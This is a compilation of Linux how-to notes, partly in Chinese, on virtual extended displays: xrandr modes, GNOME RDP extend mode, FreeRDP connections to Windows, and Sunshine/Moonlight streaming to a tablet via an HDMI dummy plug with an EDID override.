## 2560x1440 59.96 Hz (CVT 3.69M9) hsync: 89.52 kHz; pclk: 312.25 MHz
Modeline &amp;quot;2560x1440_60.00&amp;quot;  312.25  2560 2752 3024 3488  1440 1443 1448 1493 -hsync +vsync

$ xrandr --newmode &amp;quot;2560x1440_60.00&amp;quot;  312.25  2560 2752 3024 3488  1440 1443 1448 1493 -hsync +vsync

$ xrandr --addmode DP-0 &amp;quot;2560x1440_60.00&amp;quot;
X Error of failed request:  BadMatch (invalid parameter attributes)
  Major opcode of failed request:  140 (RANDR)
  Minor opcode of failed request:  18 (RRAddOutputMode)
  Serial number of failed request:  43
  Current serial number in output stream:  44
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gnome-virtual-monitor-how-to-share-virtual-extended-screen-in-ubuntu-22-04-24-04&quot;&gt;gnome virtual monitor: How to Share Virtual Extended Screen in Ubuntu 22.04 | 24.04&lt;&#x2F;h2&gt;
&lt;p&gt;This simple tutorial shows how to enable RDP remote desktop for extended screen in Ubuntu 22.04, Ubuntu 24.04, and Ubuntu 23.10 with default GNOME desktop.&lt;&#x2F;p&gt;
&lt;p&gt;Since Ubuntu 22.04, the default GNOME desktop has built-in RDP support. The function has feature to share screen in ‘extend’ mode.&lt;&#x2F;p&gt;
&lt;p&gt;In this mode, Ubuntu won’t mirror the primary display, but create virtual extended screens for remote access.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Each remote connection is limited to its own virtual screen.&lt;&#x2F;strong&gt;  You can drag and drop any app windows to that screen, allowing remote users to see and&#x2F;or manipulate, while keeping sensitive data un-accessible in primary screen.&lt;&#x2F;p&gt;
&lt;p&gt;Or, you can use remote client PC&#x2F;laptop’s monitor wirelessly to setup multiple screens for the Ubuntu machine. Though, operating in the virtual external monitors will be a bit laggy.&lt;&#x2F;p&gt;
&lt;p&gt;In the screenshot below, there are 2 machines connected to my Ubuntu PC via RDP remote desktop protocol. So, there are 2 virtual displays created. Each remote machine can access Ubuntu through its own virtual screen. While, user in front of Ubuntu can operate all the 3 screens (if 2 other monitors are sitting nearby).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;extend-virtual-monitors-600x396-20240613005840-7lkzkek-5bae85.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-1-enable-rdp-remote-desktop&quot;&gt;Step 1: Enable RDP remote desktop&lt;&#x2F;h4&gt;
&lt;p&gt;Firstly, open &lt;strong&gt;Settings&lt;&#x2F;strong&gt; and navigate to ‘&lt;strong&gt;Sharing&lt;&#x2F;strong&gt;‘. Then, click open ‘remote desktop’ configuration dialog. Enable that function and leave ‘Enable legacy vnc protocol’ disabled. Also, toggle remote control and setup password according to your need.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;For Ubuntu 24.04, go to Settings -&amp;gt; System -&amp;gt; Remote Desktop, then enable “Desktop Sharing” and configure other options as you want.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;ubuntu-enable-rdp-600x450-20240613005840-aswgyoz-845491.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-2-setting-screen-sharing-mode&quot;&gt;Step 2: Setting Screen Sharing Mode&lt;&#x2F;h4&gt;
&lt;p&gt;Then, search for and install &lt;strong&gt;Dconf Editor&lt;&#x2F;strong&gt; (if you don’t have it) from Ubuntu Software.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;install-dconfeditor-jammy-600x342-20240613005840-msln2ud-d14183.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then, launch ‘Dconf Editor’ and navigate to  &lt;strong&gt;&#x2F;org&#x2F;gnome&#x2F;desktop&#x2F;remote-desktop&#x2F;rdp&#x2F;screen-share-mode&lt;&#x2F;strong&gt;. Finally, turn off ‘Use default value’ and set Custom value to&lt;strong&gt;extend&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;rdp-share-extend-600x331-20240613005840-wyninno-2e9d1f.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;For those who are familiar with Linux command, this step can be done by opening terminal (Ctrl+Alt+T) and running a single command:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gsettings set org.gnome.desktop.remote-desktop.rdp screen-share-mode &amp;#x27;extend&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Finally, you can share your IP address, user and password you set in step 1 to your friends for accessing remotely.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;in-addition&quot;&gt;In addition:&lt;&#x2F;h4&gt;
&lt;p&gt;To access outside of home&#x2F;local network, you need to setup either DMZ host or IP port forwarding (3389 in the case). The setting varies depends on your router, so I won’t cover it here.&lt;&#x2F;p&gt;
&lt;p&gt;Also, if you don’t plan to sit in front of the Ubuntu machine all the time, install the “&lt;strong&gt;Allow Locked Remote Desktop&lt;&#x2F;strong&gt;” could be useful to prevent connection lost due to screen lock.&lt;&#x2F;p&gt;
&lt;p&gt;To do so, install and open “Extension Manager” from Ubuntu Software. Then, use it to search and install the extension from ‘Browse’ tab.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;allow-lockedremote-desktop-600x438-20240613005840-0t9nmjm-515665.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tmp-bugfix-mouse-cursor-not-visible-in-extend-mode-over-rdp&quot;&gt;TMP BUGFIX: Mouse cursor not visible in extend mode over RDP&lt;&#x2F;h2&gt;
&lt;p&gt;I&#x27;m trying to use gnome-remote-desktop to extend to a virtual display over RDP (which I then connect to using a tablet) - it works admirably BTW and the setup couldn&#x27;t be easier; kudos.&lt;&#x2F;p&gt;
&lt;p&gt;However having tried on several machines (Fedora and Manjaro, both running GNOME 43 and gnome-remote-desktop 43.2.1) and several RDP clients (Microsoft RD client on iOS and Android, Remmina on Fedora) I have the same issue; cursor movement is not visible on the virtual display. I can see a static local cursor which correctly changes state (e.g. loading icon, move icon, etc) but no cursor icon at the actual mouse location.&lt;&#x2F;p&gt;
&lt;p&gt;Is there a setting I should be using to send the remote cursor? From what I can tell from the RDP spec this is determined at the server end, and from demos I&#x27;ve seen using the same setup (and RDP client) the cursor should be visible... But unfortunately I&#x27;m not sufficiently well versed in the tech to figure it out.&lt;&#x2F;p&gt;
&lt;p&gt;In the meantime this extension might be helpful: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;extensions.gnome.org&#x2F;extension&#x2F;3139&#x2F;eye-extended&#x2F;&quot;&gt;https:&#x2F;&#x2F;extensions.gnome.org&#x2F;extension&#x2F;3139&#x2F;eye-extended&#x2F;&lt;&#x2F;a&gt;  https:&#x2F;&#x2F;github.com&#x2F;alexeylovchikov&#x2F;eye-extended-shell-extension&lt;&#x2F;p&gt;
&lt;p&gt;Works for me, but wouldn&#x27;t it be better to put a mouse pointer on the pointer mouse (like they do it with the circle in this extension)?&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-freerdp-yuan-cheng-lian-jie-windows-ji-qi&quot;&gt;使用 FreeRDP 远程连接 Windows 机器&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;qian-yan&quot;&gt;前言：&lt;&#x2F;h4&gt;
&lt;p&gt;远程控制已成为 IT 人员和企业用户在处理日常任务时不可或缺的工具。无论是进行系统管理、支持远程工作，还是协助解决技术问题，一个可靠且高效的远程桌面工具都是业务连续性的关键。开始我个人使用了&lt;strong&gt;todesk&lt;&#x2F;strong&gt;（也曾鲜想过向日葵，但是向日葵只能ubuntu环境下使用，redhat系列没有兼容），但是todesk 很耗费资源。在此，我们将详细探讨如何在&lt;strong&gt;Rockylinux&lt;&#x2F;strong&gt;(&lt;strong&gt;CentOS&lt;&#x2F;strong&gt;,redhat) 系统上，通过使用功能强大的 FreeRDP 客户端，实现对&lt;strong&gt;Windows&lt;&#x2F;strong&gt; 机器的远程管理。&lt;&#x2F;p&gt;
&lt;p&gt;注：后之后觉，freerdp 分辨率显示也比todesk好多了......&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yi-freerdp-de-an-zhuang&quot;&gt;一、FreeRDP 的安装&lt;&#x2F;h4&gt;
&lt;p&gt;适用于Rockylinux(CentOS,redhat)的 FreeRDP 安装过程简单快捷。打开您的 Rockylinux(CentOS,redhat)终端，并基于您使用的 Rockylinux(CentOS,redhat) 版本执行相应的命令。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;对于 Rockylinux 8 用户:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo yum install freerdp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;对于 Rockylinux 9 用户:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo dnf install freerdp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;c7f1e971fd1514b87d74958802f514ec-20240612234104-cg1xj0s-f94ba8.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注： 其实上面两条命名都适用！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;er-qi-dong-yuan-cheng-lian-jie&quot;&gt;二、启动远程连接&lt;&#x2F;h4&gt;
&lt;p&gt;有了 FreeRDP，我们可以一条命令便简洁地启动到 Windows 机器的远程会话。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;xfreerdp &amp;#x2F;u:用户名 &amp;#x2F;p:密码 &amp;#x2F;v:远程机器IP地址
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 用 xfreerdp 连接 Windows 远程桌面：终端执行 xfreerdp &#x2F;u:zhangpeng &#x2F;p:****** &#x2F;v:10.10.20.2:3389，日志显示加载 cliprdr、rdpdr、rdpsnd 等通道，本地 framebuffer 为 PIXEL_FORMAT_BGR32、远端 RGB32，连接成功后弹出远程桌面窗口。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;参数 &lt;code&gt;&#x2F;u&lt;&#x2F;code&gt;、&lt;code&gt;&#x2F;p&lt;&#x2F;code&gt; 和 &lt;code&gt;&#x2F;v&lt;&#x2F;code&gt; 分别代表远程机器的用户名、密码和 IP 地址。如果您不想在命令中包含密码，也可以省略 &lt;code&gt;&#x2F;p:密码&lt;&#x2F;code&gt;，系统会在连接时提示您输入。屏幕分辨率会稍微让人有点强迫症！&lt;&#x2F;p&gt;
&lt;h4 id=&quot;san-diao-zheng-yuan-cheng-zhuo-mian-fen-bian-lu&quot;&gt;三、调整远程桌面分辨率&lt;&#x2F;h4&gt;
&lt;p&gt;大屏幕时代，如何调整远程桌面分辨率至关重要。FreeRDP 拥有灵活的分辨率设置选项：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;xfreerdp &amp;#x2F;u:用户名 &amp;#x2F;p:密码 &amp;#x2F;v:远程机器IP地址 &amp;#x2F;w:1920 &amp;#x2F;h:1080
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] xfreerdp 指定分辨率：完整命令 xfreerdp &#x2F;u:zhangpeng &#x2F;p:****** &#x2F;v:10.10.20.2:3389 &#x2F;w:1920 &#x2F;h:1080（图中箭头所指即追加的 &#x2F;w &#x2F;h 参数），日志显示自签名证书告警（CN = DESKTOP-FQAH3KI）、本地 BGR32 &#x2F; 远端 RGB32 framebuffer 及各通道加载。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如需全屏体验，请使用 &lt;code&gt;&#x2F;f&lt;&#x2F;code&gt; 参数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;xfreerdp &amp;#x2F;u:用户名 &amp;#x2F;p:密码 &amp;#x2F;v:远程机器IP地址 &amp;#x2F;f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也体验了一下全屏，但是没有能退出...最后尝试在windows 远程桌面下kill 调xfreerdp进程！&lt;&#x2F;p&gt;
&lt;p&gt;我现在用的参数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;xfreerdp &amp;#x2F;u:用户名 &amp;#x2F;p:密码 &amp;#x2F;v:远程机器IP地址 &amp;#x2F;w:1920 &amp;#x2F;size:1080p
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;935270154c954090de9514e114028681-20240612234104-tj1pvzi-a86b66.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;看起来比较顺眼一下，具体参数可以自己实践一下！&lt;&#x2F;p&gt;
&lt;h4 id=&quot;si-kai-qi-dong-tai-diao-zheng-fen-bian-lu&quot;&gt;四、开启动态调整分辨率&lt;&#x2F;h4&gt;
&lt;p&gt;为了更为智能和灵活的远程体验，FreeRDP 提供了 &lt;code&gt;&#x2F;dynamic-resolution&lt;&#x2F;code&gt; 功能，它将根据本地窗口的尺寸自动调整远程桌面的分辨率。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;xfreerdp &amp;#x2F;u:用户名 &amp;#x2F;p:密码 &amp;#x2F;v:远程机器IP地址 &amp;#x2F;dynamic-resolution
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;e161282ad0b8df0824ade11cc127aad0-20240612234104-tx41fkd-439c38.png&quot; alt=&quot;image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;image.png&lt;&#x2F;p&gt;
&lt;p&gt;这样更合理一些了推荐这样去操作！&lt;&#x2F;p&gt;
&lt;h4 id=&quot;wu-qi-ta-shi-yong-can-shu-tui-jian&quot;&gt;五、其他实用参数推荐&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;clipboard&lt;&#x2F;code&gt;：无缝共享剪贴板。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;drive:本地驱动名称,本地路径&lt;&#x2F;code&gt;：在远程会话中映射本地驱动。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;sound&lt;&#x2F;code&gt;：在本地设备上播放远程机器的声音。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;xfreerdp &amp;#x2F;u:用户名 &amp;#x2F;v:远程机器IP地址 &amp;#x2F;clipboard &amp;#x2F;drive:data,&amp;#x2F;home&amp;#x2F;user&amp;#x2F;data &amp;#x2F;sound:local
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;liu-ke-ti-dai-de-yuan-cheng-zhuo-mian-fang-an&quot;&gt;六、可替代的远程桌面方案&lt;&#x2F;h4&gt;
&lt;p&gt;尽管 FreeRDP 优秀，但它并非唯一的选择。以下是一些其他的远程桌面客户端，可以在  Rockylinux(CentOS,redhat) 上使用：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Remmina&lt;&#x2F;strong&gt;： 这是一个多协议的远程桌面客户端，支持 RDP、VNC、SSH 等。提供了更为丰富的图形界面。 安装 Remmina：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;xfreerdp &amp;#x2F;u:用户名 &amp;#x2F;v:远程机器IP地址 &amp;#x2F;clipboard &amp;#x2F;drive:data,&amp;#x2F;home&amp;#x2F;user&amp;#x2F;data &amp;#x2F;sound:local
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;rdesktop&lt;&#x2F;strong&gt;： 一个较为轻量级的 RDP 客户端，可从命令行运行。 安装 rdesktop：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo yum install rdesktop
#or
sudo dnf install rdesktop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Vinagre&lt;&#x2F;strong&gt;：&lt;strong&gt;GNOME&lt;&#x2F;strong&gt; 桌面环境的一部分，支持多种远程连接协议。 安装 Vinagre：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo yum install vinagre
#or
sudo dnf install vinagre
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;qi-an-quan-lian-jie-yu-zui-hou-de-ti-shi&quot;&gt;七、安全连接与最后的提示&lt;&#x2F;h4&gt;
&lt;p&gt;当使用远程桌面工具时，特别是经由公共网络，安全是至关重要的。确保开启了 Windows 机器的远程桌面功能并进行适当的加密和认证。考虑到使用 V** 来保护传输通道。&lt;&#x2F;p&gt;
&lt;p&gt;通过本文，您已经学会了如何在 CentOS 系统上通过 FreeRDP 客户端连接至 Windows 机器。无论您是通过命令行喜好的高级用户，还是对图形界面有更多偏好的普通用户，&lt;strong&gt;Rockylinux&lt;&#x2F;strong&gt;(CentOS,redhat) 都提供了多种工具来满足您的远程桌面需求。现在，您可以享受跨操作系统界限的高效远程工作了！&lt;&#x2F;p&gt;
&lt;p&gt;注： 以上文档基于chatgpt生成可替代方案请自行验证，FreeRDP已经验证&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zai-linux-shang-shi-yong-sunshine-ba-an-zhuo-ping-ban-zuo-wei-xu-ni-fu-ping-hua-mian-qing-xi-yan-chi-ji-di&quot;&gt;在 Linux 上使用 Sunshine 把安卓平板作为虚拟副屏，画面清晰延迟极低&lt;&#x2F;h2&gt;
&lt;p&gt;两年前我曾经发表过使用 X11 虚拟显示器和 Deskreen 的 WebRTC 虚拟副屏方案，该方案有较多缺陷，如画面码率低延迟高、挑显卡、不支持 Wayland 等。随着开源串流工具 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;app.lizardbyte.dev&#x2F;Sunshine&quot;&gt;Sunshine&lt;&#x2F;a&gt; 的完善，可以使用该工具来把安卓平板当作虚拟副屏了。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;sun-with-face-an-zhuang-sunshine&quot;&gt;🌞 安装 Sunshine&lt;&#x2F;h4&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;releases&#x2F;nightly-dev&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;releases&#x2F;nightly-dev&lt;&#x2F;a&gt; 选择对应发行版的安装包安装即可。&lt;&#x2F;p&gt;
&lt;p&gt;比如我是 Arch Linux，就可以使用这条命令安装：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;sudo pacman -U https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;releases&#x2F;download&#x2F;nightly-dev&#x2F;sunshine.pkg.tar.zst&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;⚠️ 注意&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你的虚拟副屏是竖屏，就不要安装稳定版 Sunshine（如 latest release 中的版本或 AUR &#x2F; chaotic-aur 软件仓库的 &lt;code&gt;sunshine&lt;&#x2F;code&gt; 或 &lt;code&gt;sunshine-bin&lt;&#x2F;code&gt; 软件包），因为&lt;strong&gt;稳定版的 Sunshine 不支持竖屏串流。&lt;&#x2F;strong&gt; 请使用 &lt;code&gt;sunshine-git&lt;&#x2F;code&gt; 或上面 GitHub 链接中的版本。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;full-moon-with-face-an-zhuang-moonlight&quot;&gt;🌝 安装 Moonlight&lt;&#x2F;h4&gt;
&lt;p&gt;前往&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1Si4y1Y7Jb&#x2F;&quot;&gt;这期视频&lt;&#x2F;a&gt;的简介获取 UP 主“阿西西的日常”修改版的 Moonlight，该版本支持竖屏串流。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;electric-plug-pei-zhi-xu-ni-xian-shi-qi&quot;&gt;🔌 配置虚拟显示器&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;electric-plug-xian-qia-qi-pian-qi&quot;&gt;🔌 显卡欺骗器&lt;&#x2F;h5&gt;
&lt;p&gt;如果你使用 X11，请参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.chyk.ink&#x2F;2022&#x2F;07&#x2F;17&#x2F;linux-virtual-display&#x2F;#%F0%9F%94%8C-%E6%89%BE%E5%88%B0%E8%A6%81%E4%BD%BF%E7%94%A8%E7%9A%84%E8%99%9A%E6%8B%9F%E6%98%BE%E7%A4%BA%E5%99%A8&quot;&gt;往期博客&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在 Wayland 下并不能使用修改 X11 配置文件的方法创建虚拟显示器，&lt;code&gt;krfb-virtualmonitor&lt;&#x2F;code&gt; 创建的虚拟显示器也不能被 Sunshine 检测到，于是之前的方法悉数失效。&lt;&#x2F;p&gt;
&lt;p&gt;我的解决方案是花几块钱买一个显卡欺骗器，有的商家也称之为虚拟显示器。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;9922720e0cf3d7cae53d574bb41fbe096a63a9c0-20240613001515-bpmx8of-9a8e2b.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;把它插上电脑，在弹出的提示框中选择“向左扩展”或“向右扩展”即可。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;tools-fu-gai-edid&quot;&gt;🛠️ 覆盖 EDID&lt;&#x2F;h5&gt;
&lt;p&gt;由于显卡欺骗器内置的分辨率都为横屏，且并不能满足我的需求（我想使用 800x1280），所以需要覆盖它的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Extended_Display_Identification_Data&quot;&gt;EDID&lt;&#x2F;a&gt;。
EDID 可以理解为显示器的身份信息，包含该显示器的型号、支持的分辨率等。需要用一个 800x1280 分辨率显示器的 EDID 文件覆盖显卡欺骗器的，以让其支持 800x1280 分辨率。&lt;&#x2F;p&gt;
&lt;p&gt;万幸的是，已经有人整理好了各型号显示器的 EDID 文件，我们可以直接下载。&lt;&#x2F;p&gt;
&lt;p&gt;首先在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;linuxhw&#x2F;EDID&#x2F;raw&#x2F;master&#x2F;DigitalDisplay.md&quot;&gt;此网页&lt;&#x2F;a&gt;中找到需要的分辨率，然后前往 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;linuxhw&#x2F;EDID&quot;&gt;GitHub 仓库&lt;&#x2F;a&gt;的 Digital 文件夹中下载对应的 EDID 文件。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（原文配图 net-img-pin 在剪藏时保存失败——文件实为 HTML，无法恢复）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;提到 800x1280 这个分辨率，我第一反应就是某阀门公司的游戏掌机，而这个仓库中也恰好有&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;linuxhw&#x2F;EDID&#x2F;blob&#x2F;master&#x2F;Digital&#x2F;Valve&#x2F;VLV3001&#x2F;25C545529ECB&quot;&gt;对应的 EDID 文件&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在找到 EDID 文件之后，复制该文件中 &lt;code&gt;edid-decode (hex)&lt;&#x2F;code&gt; 部分的十六进制码，使用任意十六进制编辑器（如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hexed.it&#x2F;&quot;&gt;hexed.it&lt;&#x2F;a&gt;）将其写入一个 bin 后缀的文件。
之后把得到的这个 128B 大小的 bin 文件放到 &lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;firmware&#x2F;edid&lt;&#x2F;code&gt; 文件夹中。若文件夹不存在请自行创建。&lt;&#x2F;p&gt;
&lt;p&gt;最后，编辑&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%86%85%E6%A0%B8%E5%8F%82%E6%95%B0&quot;&gt;内核参数&lt;&#x2F;a&gt;，加入一行&lt;code&gt;drm.edid_firmware=HDMI-A-2:edid&#x2F;vlv3001.bin&lt;&#x2F;code&gt;。
其中，&lt;code&gt;HDMI-A-2&lt;&#x2F;code&gt; 为显卡欺骗器对应的显示器编号（可用 &lt;code&gt;xrandr&lt;&#x2F;code&gt; 命令查看）， &lt;code&gt;vlv3001.bin&lt;&#x2F;code&gt; 为上一步得到的 bin 文件。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;54fbb2fb43166d22db537ea9002309f79052d2e3-20240613001515-8hw8rpt-966d4c.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;覆盖 EDID 之后的效果如图所示。可以看到，系统已经成功地把我的显卡欺骗器当成了某阀门掌机的显示器。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;sunflower-pei-zhi-sunshine&quot;&gt;🌻 配置 Sunshine&lt;&#x2F;h4&gt;
&lt;p&gt;接下来就可以配置 Sunshine 了。在启动 Sunshine 后点击托盘图标即可打开配置界面。&lt;&#x2F;p&gt;
